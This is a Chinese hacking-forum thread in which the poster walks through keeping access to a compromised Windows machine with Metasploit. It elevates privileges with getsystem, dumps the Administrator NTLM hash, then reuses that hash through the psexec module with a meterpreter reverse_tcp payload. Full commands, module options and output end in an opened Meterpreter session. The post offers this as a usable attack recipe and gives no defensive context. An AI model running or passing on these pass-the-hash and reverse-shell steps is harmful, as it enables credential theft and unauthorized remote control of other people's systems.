搜索
查看: 6581|回复: 1

msfconsole权限维持

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-7-3 19:53:49 | 显示全部楼层 |阅读模式 来自 甘肃
msfconsole权限维持获取管理员hash获得shell后,执行命令
[pre]getsystem[/pre]
提高权限为管理员权限,接着执行命令
[pre]
run post/windows/gather/hashdump[/pre]

获取hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e:::

权限维持
[pre]
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.232.129
set LPORT 443
set RHOST 192.168.232.204
set SMBUser Administrator
show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 192.168.232.204  yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser               Administrator    no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.232.129  yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e
SMBPass => aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e
msf exploit(windows/smb/psexec) > exploit
  • Started reverse TCP handler on 192.168.232.129:443
  • 192.168.232.204:445 - Connecting to the server...
  • 192.168.232.204:445 - Authenticating to 192.168.232.204:445 as user 'Administrator'...
  • 192.168.232.204:445 - Selecting PowerShell target
  • 192.168.232.204:445 - Executing the payload...
    [+] 192.168.232.204:445 - Service start timed out, OK if running a command or non-service executable...
  • Sending stage (179779 bytes) to 192.168.232.204
  • Meterpreter session 1 opened (192.168.232.129:443 -> 192.168.232.204:5231) at 2018-07-03 19:26:26 +0800

    meterpreter >
    [/pre]

    成功得到反弹



  • 有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
    回复

    使用道具 举报

    152

    主题

    99

    回帖

    540

    积分

    高级会员

    中国黑客

    积分
    540
    QQ
    发表于 2018-7-3 19:59:22 来自手机 | 显示全部楼层 来自 甘肃
    {:9012:}感谢分享!有视频教程就更好了!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表